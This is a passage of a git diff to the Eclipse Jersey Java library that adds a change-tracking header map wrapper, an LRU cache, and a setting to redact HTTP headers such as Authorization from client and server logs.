http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.internal.util.collection; + +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.MultivaluedMap; +import java.util.Collection; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.ListIterator; +import java.util.Map; +import java.util.Objects; +import java.util.Set; +import java.util.function.Consumer; + +/** + * The {@link MultivaluedMap} wrapper that is able to set guards observing changes of values represented by a key. + * @param The value type of the wrapped {@code MultivaluedMap}. + * + * @since 2.38 + */ +public class GuardianStringKeyMultivaluedMap implements MultivaluedMap { + + private final MultivaluedMap inner; + private final Map guards = new HashMap<>(); + + private static boolean isMutable(Object mutable) { + return !String.class.isInstance(mutable) && !MediaType.class.isInstance(mutable); + } + + public GuardianStringKeyMultivaluedMap(MultivaluedMap inner) { + this.inner = inner; + } + + @Override + public void putSingle(String key, V value) { + observe(key); + inner.putSingle(key, value); + } + + @Override + public void add(String key, V value) { + observe(key); + inner.add(key, value); + } + + @Override + public V getFirst(String key) { + V first = inner.getFirst(key); + if (isMutable(key)) { + observe(key); + } + return first; + } + + @Override + public void addAll(String key, V... newValues) { + observe(key); + inner.addAll(key, newValues); + } + + @Override + public void addAll(String key, List valueList) { + observe(key); + inner.addAll(key, valueList); + } + + @Override + public void addFirst(String key, V value) { + observe(key); + inner.addFirst(key, value); + } + + @Override + public boolean equalsIgnoreValueOrder(MultivaluedMap otherMap) { + return inner.equalsIgnoreValueOrder(otherMap); + } + + @Override + public int size() { + return inner.size(); + } + + @Override + public boolean isEmpty() { + return inner.isEmpty(); + } + + @Override + public boolean containsKey(Object key) { + return inner.containsKey(key); + } + + @Override + public boolean containsValue(Object value) { + return inner.containsValue(value); + } + + @Override + public List get(Object key) { + final List innerList = inner.get(key); + if (innerList != null) { + for (Map.Entry guard : guards.entrySet()) { + if (guard.getKey().equals(key)) { + return new GuardianList(innerList, guard); + } + } + } + return innerList; + } + + @Override + public List put(String key, List value) { + observe(key); + return inner.put(key, value); + } + + @Override + public List remove(Object key) { + if (key != null) { + observe(key.toString()); + } + return inner.remove(key); + } + + @Override + public void putAll(Map> m) { + for (String key : m.keySet()) { + observe(key); + } + inner.putAll(m); + } + + @Override + public void clear() { + observeAll(); + inner.clear(); + } + + @Override + public Set keySet() { + return inner.keySet(); + } + + @Override + public Collection> values() { + observeAll(); + return inner.values(); + } + + @Override + public Set>> entrySet() { + observeAll(); + return inner.entrySet(); + } + + /** + * Observe changes of a value represented by the key. + * @param key the key values to observe + */ + public void setGuard(String key) { + guards.put(key, false); + } + + /** + * Get all the guarded keys + * @return a {@link Set} of keys guarded. + */ + public Set getGuards() { + return guards.keySet(); + } + + /** + * Return true when the value represented by the key has changed. Resets any observation - the operation is not idempotent. + * @param key the Key observed. + * @return whether the value represented by the key has changed. + */ + public boolean isObservedAndReset(String key) { + Boolean observed = guards.get(key); + if (observed != null) { + guards.put(key, false); + } + return observed != null && observed; + } + + private void observe(String key) { + for (Map.Entry guard : guards.entrySet()) { + if (guard.getKey().equals(key)) { + guard.setValue(true); + break; + } + } + } + + private void observeAll() { + for (Map.Entry guard : guards.entrySet()) { + guard.setValue(true); + } + } + + @Override + public String toString() { + return inner.toString(); + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (o == null || getClass() != o.getClass()) return false; + GuardianStringKeyMultivaluedMap that = (GuardianStringKeyMultivaluedMap) o; + return inner.equals(that.inner) && guards.equals(that.guards); + } + + @Override + public int hashCode() { + return Objects.hash(inner, guards); + } + + private static class MutableGuardian { + protected final Map.Entry guard; + + private MutableGuardian(Entry guard) { + this.guard = guard; + } + + protected V guardMutable(V mutable) { + if (isMutable(mutable)) { + guard.setValue(true); + } + return mutable; + } + } + + private static class GuardianList extends MutableGuardian implements List { + private final List guarded; + + public GuardianList(List guarded, Map.Entry guard) { + super(guard); + this.guarded = guarded; + } + + @Override + public int size() { + return guarded.size(); + } + + @Override + public boolean isEmpty() { + return guarded.isEmpty(); + } + + @Override + public boolean contains(Object o) { + return guarded.contains(o); + } + + @Override + public Iterator iterator() { + return new GuardianIterator<>(guarded.iterator(), guard); + } + + @Override + public Object[] toArray() { + guard.setValue(true); + return guarded.toArray(); + } + + @Override + public T[] toArray(T[] a) { + guard.setValue(true); + return guarded.toArray(a); + } + + @Override + public boolean add(V e) { + guard.setValue(true); + return guarded.add(e); + } + + @Override + public boolean remove(Object o) { + guard.setValue(true); + return guarded.remove(o); + } + + @Override + public boolean containsAll(Collection c) { + return guarded.containsAll(c); + } + + @Override + public boolean addAll(Collection c) { + guard.setValue(true); + return guarded.addAll(c); + } + + @Override + public boolean addAll(int index, Collection c) { + guard.setValue(true); + return guarded.addAll(index, c); + } + + @Override + public boolean removeAll(Collection c) { + guard.setValue(true); + return guarded.removeAll(c); + } + + @Override + public boolean retainAll(Collection c) { + guard.setValue(true); + return guarded.retainAll(c); + } + + @Override + public void clear() { + guard.setValue(true); + guarded.clear(); + } + + @Override + public V get(int index) { + return guardMutable(guarded.get(index)); + } + + @Override + public V set(int index, V element) { + guard.setValue(true); + return guarded.set(index, element); + } + + @Override + public void add(int index, V element) { + guard.setValue(true); + guarded.add(index, element); + } + + @Override + public V remove(int index) { + guard.setValue(true); + return guarded.remove(index); + } + + @Override + public int indexOf(Object o) { + return guarded.indexOf(o); + } + + @Override + public int lastIndexOf(Object o) { + return guarded.lastIndexOf(o); + } + + @Override + public ListIterator listIterator() { + return new GuardianListIterator<>(guarded.listIterator(), guard); + } + + @Override + public ListIterator listIterator(int index) { + return new GuardianListIterator<>(guarded.listIterator(index), guard); + } + + @Override + public List subList(int fromIndex, int toIndex) { + final List sublist = guarded.subList(fromIndex, toIndex); + return sublist != null ? new GuardianList<>(sublist, guard) : sublist; + } + + @Override + public String toString() { + return guarded.toString(); + } + + @Override + public boolean equals(Object obj) { + if (GuardianList.class.isInstance(obj)) { + return guarded.equals(((GuardianList) obj).guarded); + } + return guarded.equals(obj); + } + + @Override + public int hashCode() { + return guarded.hashCode(); + } + } + + private static class GuardianIterator extends MutableGuardian implements Iterator { + protected final Iterator guarded; + + public GuardianIterator(Iterator guarded, Map.Entry guard) { + super(guard); + this.guarded = guarded; + } + + @Override + public boolean hasNext() { + return guarded.hasNext(); + } + + @Override + public V next() { + return guardMutable(guarded.next()); + } + + @Override + public void remove() { + guard.setValue(true); + guarded.remove(); + } + + @Override + public void forEachRemaining(Consumer action) { + guarded.forEachRemaining(action); + } + + @Override + public String toString() { + return guarded.toString(); + } + } + + private static class GuardianListIterator extends GuardianIterator implements ListIterator { + + public GuardianListIterator(Iterator guarded, Entry guard) { + super(guarded, guard); + } + + @Override + public boolean hasPrevious() { + return ((ListIterator) guarded).hasPrevious(); + } + + @Override + public V previous() { + return guardMutable(((ListIterator) guarded).previous()); + } + + @Override + public int nextIndex() { + return ((ListIterator) guarded).nextIndex(); + } + + @Override + public int previousIndex() { + return ((ListIterator) guarded).previousIndex(); + } + + @Override + public void set(V v) { + ((ListIterator) guarded).set(v); + guard.setValue(true); + } + + @Override + public void add(V v) { + ((ListIterator) guarded).add(v); + guard.setValue(true); + } + } +} diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/LRU.java b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/LRU.java new file mode 100644 index 00000000000..3338b00fdb2 --- /dev/null +++ b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/LRU.java @@ -0,0 +1,76 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.internal.util.collection; + +import org.glassfish.jersey.internal.guava.Cache; +import org.glassfish.jersey.internal.guava.CacheBuilder; + +import java.util.concurrent.TimeUnit; + +/** + * An abstract LRU interface wrapping an actual LRU implementation. + * @param Key type + * @param Value type + * @Since 2.38 + */ +public abstract class LRU { + + /** + * Returns the value associated with {@code key} in this cache, or {@code null} if there is no + * cached value for {@code key}. + */ + public abstract V getIfPresent(Object key); + + /** + * Associates {@code value} with {@code key} in this cache. If the cache previously contained a + * value associated with {@code key}, the old value is replaced by {@code value}. + */ + public abstract void put(K key, V value); + + /** + * Create new LRU + * @return new LRU + */ + public static LRU create() { + return LRUFactory.createLRU(); + } + + private static class LRUFactory { + // TODO configure via the Configuration + public static final int LRU_CACHE_SIZE = 128; + public static final long TIMEOUT = 5000L; + private static LRU createLRU() { + final Cache CACHE = CacheBuilder.newBuilder() + .maximumSize(LRU_CACHE_SIZE) + .expireAfterAccess(TIMEOUT, TimeUnit.MILLISECONDS) + .build(); + return new LRU() { + @Override + public V getIfPresent(Object key) { + return CACHE.getIfPresent(key); + } + + @Override + public void put(K key, V value) { + CACHE.put(key, value); + } + }; + } + } + + +} diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Value.java b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Value.java index ee2380073cf..891ec3a706c 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Value.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Value.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,13 +16,15 @@ package org.glassfish.jersey.internal.util.collection; +import java.util.function.Supplier; + /** * A generic value provider. * * @param value type. * @author Marek Potociar */ -public interface Value { +public interface Value extends Supplier { /** * Get the stored value. * diff --git a/core-common/src/main/java/org/glassfish/jersey/logging/ClientLoggingFilter.java b/core-common/src/main/java/org/glassfish/jersey/logging/ClientLoggingFilter.java index 00a196899b4..2b99da6c65b 100644 --- a/core-common/src/main/java/org/glassfish/jersey/logging/ClientLoggingFilter.java +++ b/core-common/src/main/java/org/glassfish/jersey/logging/ClientLoggingFilter.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2016, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2016, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -64,6 +64,7 @@ final class ClientLoggingFilter extends LoggingInterceptor implements ClientRequ * logging filter will print (and buffer in memory) only the specified number of bytes * and print "...more..." string at the end. Negative values are interpreted as zero. * separator delimiter for particular log lines. Default is Linux new line delimiter + * redactHeaders a collection of HTTP headers to be redacted when logging. */ public ClientLoggingFilter(LoggingFeature.LoggingFeatureBuilder builder) { super(builder); @@ -82,7 +83,7 @@ public void filter(final ClientRequestContext context) throws IOException { printRequestLine(b, "Sending client request", id, context.getMethod(), context.getUri()); printPrefixedHeaders(b, id, REQUEST_PREFIX, context.getStringHeaders()); - if (context.hasEntity() && printEntity(verbosity, context.getMediaType())) { + if (printEntity(verbosity, context.getMediaType()) && context.hasEntity()) { final OutputStream stream = new LoggingStream(b, context.getEntityStream()); context.setEntityStream(stream); context.setProperty(ENTITY_LOGGER_PROPERTY, stream); @@ -106,7 +107,7 @@ public void filter(final ClientRequestContext requestContext, final ClientRespon printResponseLine(b, "Client response received", id, responseContext.getStatus()); printPrefixedHeaders(b, id, RESPONSE_PREFIX, responseContext.getHeaders()); - if (responseContext.hasEntity() && printEntity(verbosity, responseContext.getMediaType())) { + if (printEntity(verbosity, responseContext.getMediaType()) && responseContext.hasEntity()) { responseContext.setEntityStream(logInboundEntity(b, responseContext.getEntityStream(), MessageUtils.getCharset(responseContext.getMediaType()))); } diff --git a/core-common/src/main/java/org/glassfish/jersey/logging/LoggingFeature.java b/core-common/src/main/java/org/glassfish/jersey/logging/LoggingFeature.java index f0c3ffd770e..a9a39ba4a57 100644 --- a/core-common/src/main/java/org/glassfish/jersey/logging/LoggingFeature.java +++ b/core-common/src/main/java/org/glassfish/jersey/logging/LoggingFeature.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2016, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2016, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,6 +16,8 @@ package org.glassfish.jersey.logging; +import java.util.Arrays; +import java.util.Collection; import java.util.Map; import java.util.logging.Level; import java.util.logging.Logger; @@ -23,6 +25,7 @@ import jakarta.ws.rs.RuntimeType; import jakarta.ws.rs.core.Feature; import jakarta.ws.rs.core.FeatureContext; +import jakarta.ws.rs.core.HttpHeaders; import org.glassfish.jersey.CommonProperties; @@ -41,6 +44,7 @@ *
  • {@link #LOGGING_FEATURE_VERBOSITY}
  • *
  • {@link #LOGGING_FEATURE_MAX_ENTITY_SIZE}
  • *
  • {@link #LOGGING_FEATURE_SEPARATOR}
  • + *
  • {@link #LOGGING_FEATURE_REDACT_HEADERS}
  • * *

    * If any of the configuration value is not set, following default values are applied: @@ -49,6 +53,8 @@ *

  • logger level: {@link Level#FINE}
  • *
  • verbosity: {@link Verbosity#PAYLOAD_TEXT}
  • *
  • maximum entity size: {@value #DEFAULT_MAX_ENTITY_SIZE}
  • + *
  • line separator: {@link #DEFAULT_SEPARATOR}
  • + *
  • redact headers: {@value #DEFAULT_REDACT_HEADERS}
  • * *

    * Server configurable properties: @@ -58,6 +64,7 @@ *

  • {@link #LOGGING_FEATURE_VERBOSITY_SERVER}
  • *
  • {@link #LOGGING_FEATURE_MAX_ENTITY_SIZE_SERVER}
  • *
  • {@link #LOGGING_FEATURE_SEPARATOR_SERVER}
  • + *
  • {@link #LOGGING_FEATURE_REDACT_HEADERS_SERVER}
  • * * Client configurable properties: *
      @@ -66,6 +73,7 @@ *
    • {@link #LOGGING_FEATURE_VERBOSITY_CLIENT}
    • *
    • {@link #LOGGING_FEATURE_MAX_ENTITY_SIZE_CLIENT}
    • *
    • {@link #LOGGING_FEATURE_SEPARATOR_CLIENT}
    • + *
    • {@link #LOGGING_FEATURE_REDACT_HEADERS_CLIENT}
    • *
    * * @author Ondrej Kosatka @@ -93,12 +101,17 @@ public class LoggingFeature implements Feature { * Default separator for entity logging. */ public static final String DEFAULT_SEPARATOR = "\n"; + /** + * Default headers to be redacted. If multiple, separate each header with a semicolon. + */ + public static final String DEFAULT_REDACT_HEADERS = HttpHeaders.AUTHORIZATION; private static final String LOGGER_NAME_POSTFIX = ".logger.name"; private static final String LOGGER_LEVEL_POSTFIX = ".logger.level"; private static final String VERBOSITY_POSTFIX = ".verbosity"; private static final String MAX_ENTITY_POSTFIX = ".entity.maxSize"; private static final String SEPARATOR_POSTFIX = ".separator"; + private static final String REDACT_HEADERS_POSTFIX = ".headers.redact"; private static final String LOGGING_FEATURE_COMMON_PREFIX = "jersey.config.logging"; /** * Common logger name property. @@ -120,6 +133,10 @@ public class LoggingFeature implements Feature { * Common property for configuring logging separator. */ public static final String LOGGING_FEATURE_SEPARATOR = LOGGING_FEATURE_COMMON_PREFIX + SEPARATOR_POSTFIX; + /** + * Common property for configuring headers to be redacted. The headers are semicolon-separated. + */ + public static final String LOGGING_FEATURE_REDACT_HEADERS = LOGGING_FEATURE_COMMON_PREFIX + REDACT_HEADERS_POSTFIX; private static final String LOGGING_FEATURE_SERVER_PREFIX = "jersey.config.server.logging"; /** @@ -142,6 +159,11 @@ public class LoggingFeature implements Feature { * Server property for configuring separator. */ public static final String LOGGING_FEATURE_SEPARATOR_SERVER = LOGGING_FEATURE_SERVER_PREFIX + SEPARATOR_POSTFIX; + /** + * Server property for configuring headers to be redacted. The headers are semicolon-separated. + */ + public static final String LOGGING_FEATURE_REDACT_HEADERS_SERVER = + LOGGING_FEATURE_SERVER_PREFIX + REDACT_HEADERS_POSTFIX; private static final String LOGGING_FEATURE_CLIENT_PREFIX = "jersey.config.client.logging"; /** @@ -164,6 +186,11 @@ public class LoggingFeature implements Feature { * Client property for logging separator. */ public static final String LOGGING_FEATURE_SEPARATOR_CLIENT = LOGGING_FEATURE_CLIENT_PREFIX + SEPARATOR_POSTFIX; + /** + * Client property for configuring headers to be redacted. The headers are semicolon-separated. + */ + public static final String LOGGING_FEATURE_REDACT_HEADERS_CLIENT = + LOGGING_FEATURE_CLIENT_PREFIX + REDACT_HEADERS_POSTFIX; private final LoggingFeatureBuilder builder; @@ -222,7 +249,6 @@ public LoggingFeature(Logger logger, Level level, Verbosity verbosity, Integer m .level(level) .verbosity(verbosity) .maxEntitySize(maxEntitySize) - .separator(DEFAULT_SEPARATOR) ); } @@ -269,7 +295,7 @@ private LoggingInterceptor createLoggingFilter(FeatureContext context, RuntimeTy private static LoggingFeatureBuilder configureBuilderParameters(LoggingFeatureBuilder builder, FeatureContext context, RuntimeType runtimeType) { - final Map properties = context.getConfiguration().getProperties(); + final Map properties = context.getConfiguration().getProperties(); //get values from properties (if any) final String filterLoggerName = CommonProperties.getValue( properties, @@ -283,14 +309,14 @@ private static LoggingFeatureBuilder configureBuilderParameters(LoggingFeatureBu properties, runtimeType == RuntimeType.SERVER ? LOGGING_FEATURE_LOGGER_LEVEL_SERVER : LOGGING_FEATURE_LOGGER_LEVEL_CLIENT, CommonProperties.getValue( - context.getConfiguration().getProperties(), + properties, LOGGING_FEATURE_LOGGER_LEVEL, DEFAULT_LOGGER_LEVEL)); final String filterSeparator = CommonProperties.getValue( properties, runtimeType == RuntimeType.SERVER ? LOGGING_FEATURE_SEPARATOR_SERVER : LOGGING_FEATURE_SEPARATOR_CLIENT, CommonProperties.getValue( - context.getConfiguration().getProperties(), + properties, LOGGING_FEATURE_SEPARATOR, DEFAULT_SEPARATOR)); final Verbosity filterVerbosity = CommonProperties.getValue( @@ -310,6 +336,14 @@ private static LoggingFeatureBuilder configureBuilderParameters(LoggingFeatureBu LOGGING_FEATURE_MAX_ENTITY_SIZE, DEFAULT_MAX_ENTITY_SIZE )); + final String redactHeaders = CommonProperties.getValue( + properties, + runtimeType == RuntimeType.SERVER + ? LOGGING_FEATURE_REDACT_HEADERS_SERVER : LOGGING_FEATURE_REDACT_HEADERS_CLIENT, + CommonProperties.getValue( + properties, + LOGGING_FEATURE_REDACT_HEADERS, + DEFAULT_REDACT_HEADERS)); final Level loggerLevel = Level.parse(filterLevel); @@ -319,6 +353,8 @@ private static LoggingFeatureBuilder configureBuilderParameters(LoggingFeatureBu builder.maxEntitySize = builder.maxEntitySize == null ? filterMaxEntitySize : builder.maxEntitySize; builder.level = builder.level == null ? loggerLevel : builder.level; builder.separator = builder.separator == null ? filterSeparator : builder.separator; + builder.redactHeaders = builder.redactHeaders == null + ? Arrays.asList(redactHeaders.split(";")) : builder.redactHeaders; return builder; } @@ -376,6 +412,7 @@ public static class LoggingFeatureBuilder { Integer maxEntitySize; Level level; String separator; + Collection redactHeaders; public LoggingFeatureBuilder() { @@ -400,9 +437,13 @@ public LoggingFeatureBuilder separator(String separator) { this.separator = separator; return this; } + public LoggingFeatureBuilder redactHeaders(Collection redactHeaders) { + this.redactHeaders = redactHeaders; + return this; + } public LoggingFeature build() { return new LoggingFeature(this); } } -} \ No newline at end of file +} diff --git a/core-common/src/main/java/org/glassfish/jersey/logging/LoggingFeatureAutoDiscoverable.java b/core-common/src/main/java/org/glassfish/jersey/logging/LoggingFeatureAutoDiscoverable.java index ddf0473fe31..d35a06b4c70 100644 --- a/core-common/src/main/java/org/glassfish/jersey/logging/LoggingFeatureAutoDiscoverable.java +++ b/core-common/src/main/java/org/glassfish/jersey/logging/LoggingFeatureAutoDiscoverable.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2016, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2016, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -34,6 +34,9 @@ import static org.glassfish.jersey.logging.LoggingFeature.LOGGING_FEATURE_MAX_ENTITY_SIZE; import static org.glassfish.jersey.logging.LoggingFeature.LOGGING_FEATURE_MAX_ENTITY_SIZE_CLIENT; import static org.glassfish.jersey.logging.LoggingFeature.LOGGING_FEATURE_MAX_ENTITY_SIZE_SERVER; +import static org.glassfish.jersey.logging.LoggingFeature.LOGGING_FEATURE_REDACT_HEADERS; +import static org.glassfish.jersey.logging.LoggingFeature.LOGGING_FEATURE_REDACT_HEADERS_CLIENT; +import static org.glassfish.jersey.logging.LoggingFeature.LOGGING_FEATURE_REDACT_HEADERS_SERVER; import static org.glassfish.jersey.logging.LoggingFeature.LOGGING_FEATURE_SEPARATOR; import static org.glassfish.jersey.logging.LoggingFeature.LOGGING_FEATURE_SEPARATOR_CLIENT; import static org.glassfish.jersey.logging.LoggingFeature.LOGGING_FEATURE_SEPARATOR_SERVER; @@ -75,7 +78,8 @@ private boolean commonPropertyConfigured(Map properties) { || properties.containsKey(LOGGING_FEATURE_LOGGER_LEVEL) || properties.containsKey(LOGGING_FEATURE_VERBOSITY) || properties.containsKey(LOGGING_FEATURE_MAX_ENTITY_SIZE) - || properties.containsKey(LOGGING_FEATURE_SEPARATOR); + || properties.containsKey(LOGGING_FEATURE_SEPARATOR) + || properties.containsKey(LOGGING_FEATURE_REDACT_HEADERS); } private boolean clientConfigured(Map properties) { @@ -83,7 +87,8 @@ private boolean clientConfigured(Map properties) { || properties.containsKey(LOGGING_FEATURE_LOGGER_LEVEL_CLIENT) || properties.containsKey(LOGGING_FEATURE_VERBOSITY_CLIENT) || properties.containsKey(LOGGING_FEATURE_MAX_ENTITY_SIZE_CLIENT) - || properties.containsKey(LOGGING_FEATURE_SEPARATOR_CLIENT); + || properties.containsKey(LOGGING_FEATURE_SEPARATOR_CLIENT) + || properties.containsKey(LOGGING_FEATURE_REDACT_HEADERS_CLIENT); } private boolean serverConfigured(Map properties) { @@ -91,6 +96,7 @@ private boolean serverConfigured(Map properties) { || properties.containsKey(LOGGING_FEATURE_LOGGER_LEVEL_SERVER) || properties.containsKey(LOGGING_FEATURE_VERBOSITY_SERVER) || properties.containsKey(LOGGING_FEATURE_MAX_ENTITY_SIZE_SERVER) - || properties.containsKey(LOGGING_FEATURE_SEPARATOR_SERVER); + || properties.containsKey(LOGGING_FEATURE_SEPARATOR_SERVER) + || properties.containsKey(LOGGING_FEATURE_REDACT_HEADERS_SERVER); } } diff --git a/core-common/src/main/java/org/glassfish/jersey/logging/LoggingInterceptor.java b/core-common/src/main/java/org/glassfish/jersey/logging/LoggingInterceptor.java index 550c20d027a..2c1f36d85af 100644 --- a/core-common/src/main/java/org/glassfish/jersey/logging/LoggingInterceptor.java +++ b/core-common/src/main/java/org/glassfish/jersey/logging/LoggingInterceptor.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2016, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2016, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -24,15 +24,21 @@ import java.io.OutputStream; import java.net.URI; import java.nio.charset.Charset; +import java.util.Collection; import java.util.Comparator; import java.util.HashSet; import java.util.List; +import java.util.Locale; import java.util.Map; +import java.util.Objects; import java.util.Set; import java.util.TreeSet; import java.util.concurrent.atomic.AtomicLong; +import java.util.function.BiConsumer; +import java.util.function.Predicate; import java.util.logging.Level; import java.util.logging.Logger; +import java.util.stream.Collectors; import jakarta.ws.rs.WebApplicationException; import jakarta.ws.rs.core.MediaType; @@ -40,6 +46,7 @@ import jakarta.ws.rs.ext.WriterInterceptor; import jakarta.ws.rs.ext.WriterInterceptorContext; +import org.glassfish.jersey.internal.guava.Predicates; import org.glassfish.jersey.logging.LoggingFeature.Verbosity; import org.glassfish.jersey.message.MessageUtils; @@ -104,6 +111,7 @@ public int compare(final Map.Entry> o1, final Map.Entry redactHeaderPredicate; /** * Creates a logging filter using builder instance with custom logger and entity logging turned on, @@ -117,6 +125,7 @@ public int compare(final Map.Entry> o1, final Map.Entry> o1, final Map.Entry false; } /** @@ -169,20 +181,28 @@ void printPrefixedHeaders(final StringBuilder b, final List val = headerEntry.getValue(); final String header = headerEntry.getKey(); - if (val.size() == 1) { - prefixId(b, id).append(prefix).append(header).append(": ").append(val.get(0)).append(separator); - } else { - final StringBuilder sb = new StringBuilder(); + prefixId(b, id).append(prefix).append(header).append(": "); + getValuesAppender(header, val).accept(b, val); + b.append(separator); + } + } + + private BiConsumer> getValuesAppender(String header, List values) { + if (redactHeaderPredicate.test(header)) { + return (b, v) -> b.append("[redacted]"); + } else if (values.size() == 1) { + return (b, v) -> b.append(v.get(0)); + } else { + return (b, v) -> { boolean add = false; - for (final Object s : val) { + for (final Object s : v) { if (add) { - sb.append(','); + b.append(','); } add = true; - sb.append(s); + b.append(s); } - prefixId(b, id).append(prefix).append(header).append(": ").append(sb.toString()).append(separator); - } + }; } } @@ -305,11 +325,31 @@ public void write(byte[] ba, int off, int len) throws IOException { if ((off | len | ba.length - (len + off) | off + len) < 0) { throw new IndexOutOfBoundsException(); } - if ((baos.size() + len) <= maxEntitySize) { + if (baos.size() <= maxEntitySize) { baos.write(ba, off, len); } out.write(ba, off, len); } } + private static final class RedactHeaderPredicate implements Predicate { + private final Set headersToRedact; + + RedactHeaderPredicate(Collection headersToRedact) { + this.headersToRedact = headersToRedact.stream() + .filter(Objects::nonNull) + .filter(Predicates.not(String::isEmpty)) + .map(RedactHeaderPredicate::normalize) + .collect(Collectors.toSet()); + } + + @Override + public boolean test(String header) { + return headersToRedact.contains(normalize(header)); + } + + private static String normalize(String input) { + return input.trim().toLowerCase(Locale.ROOT); + } + } } diff --git a/core-common/src/main/java/org/glassfish/jersey/logging/ServerLoggingFilter.java b/core-common/src/main/java/org/glassfish/jersey/logging/ServerLoggingFilter.java index 8f7fc5f84a5..6ed5dfe2892 100644 --- a/core-common/src/main/java/org/glassfish/jersey/logging/ServerLoggingFilter.java +++ b/core-common/src/main/java/org/glassfish/jersey/logging/ServerLoggingFilter.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2016, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2016, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -64,6 +64,7 @@ final class ServerLoggingFilter extends LoggingInterceptor implements ContainerR * logging filter will print (and buffer in memory) only the specified number of bytes * and print "...more..." string at the end. Negative values are interpreted as zero. * separator delimiter for particular log lines. Default is Linux new line delimiter + * redactHeaders a collection of HTTP headers to be redacted when logging. */ public ServerLoggingFilter(final LoggingFeature.LoggingFeatureBuilder builder) { super(builder); @@ -82,7 +83,7 @@ public void filter(final ContainerRequestContext context) throws IOException { printRequestLine(b, "Server has received a request", id, context.getMethod(), context.getUriInfo().getRequestUri()); printPrefixedHeaders(b, id, REQUEST_PREFIX, context.getHeaders()); - if (context.hasEntity() && printEntity(verbosity, context.getMediaType())) { + if (printEntity(verbosity, context.getMediaType()) && context.hasEntity()) { context.setEntityStream( logInboundEntity(b, context.getEntityStream(), MessageUtils.getCharset(context.getMediaType()))); } @@ -104,7 +105,7 @@ public void filter(final ContainerRequestContext requestContext, final Container printResponseLine(b, "Server responded with a response", id, responseContext.getStatus()); printPrefixedHeaders(b, id, RESPONSE_PREFIX, responseContext.getStringHeaders()); - if (responseContext.hasEntity() && printEntity(verbosity, responseContext.getMediaType())) { + if (printEntity(verbosity, responseContext.getMediaType()) && responseContext.hasEntity()) { final OutputStream stream = new LoggingStream(b, responseContext.getEntityStream()); responseContext.setEntityStream(stream); requestContext.setProperty(ENTITY_LOGGER_PROPERTY, stream); diff --git a/core-common/src/main/java/org/glassfish/jersey/message/MessageProperties.java b/core-common/src/main/java/org/glassfish/jersey/message/MessageProperties.java index 733a465e829..67233125640 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/MessageProperties.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/MessageProperties.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -26,6 +26,18 @@ @PropertiesClass public final class MessageProperties { + /** + * If set to {@code true}, {@code DeflateEncoder deflate encoding interceptor} will use non-standard version + * of the deflate content encoding, skipping the zlib wrapper. Unfortunately, deflate encoding + * implementations in some products use this non-compliant version, hence the switch. + *

    + * The default value is {@code false}. + *

    + * The name of the configuration property is {@value}. + */ + public static final String DEFLATE_WITHOUT_ZLIB = "jersey.config.deflate.nozlib"; + + /** * If set to {@code true} then XML root element tag name for collections will * be derived from {@link jakarta.xml.bind.annotation.XmlRootElement @XmlRootElement} @@ -80,15 +92,22 @@ public final class MessageProperties { public static final int IO_DEFAULT_BUFFER_SIZE = 8192; /** - * If set to {@code true}, {@code DeflateEncoder deflate encoding interceptor} will use non-standard version - * of the deflate content encoding, skipping the zlib wrapper. Unfortunately, deflate encoding - * implementations in some products use this non-compliant version, hence the switch. - *

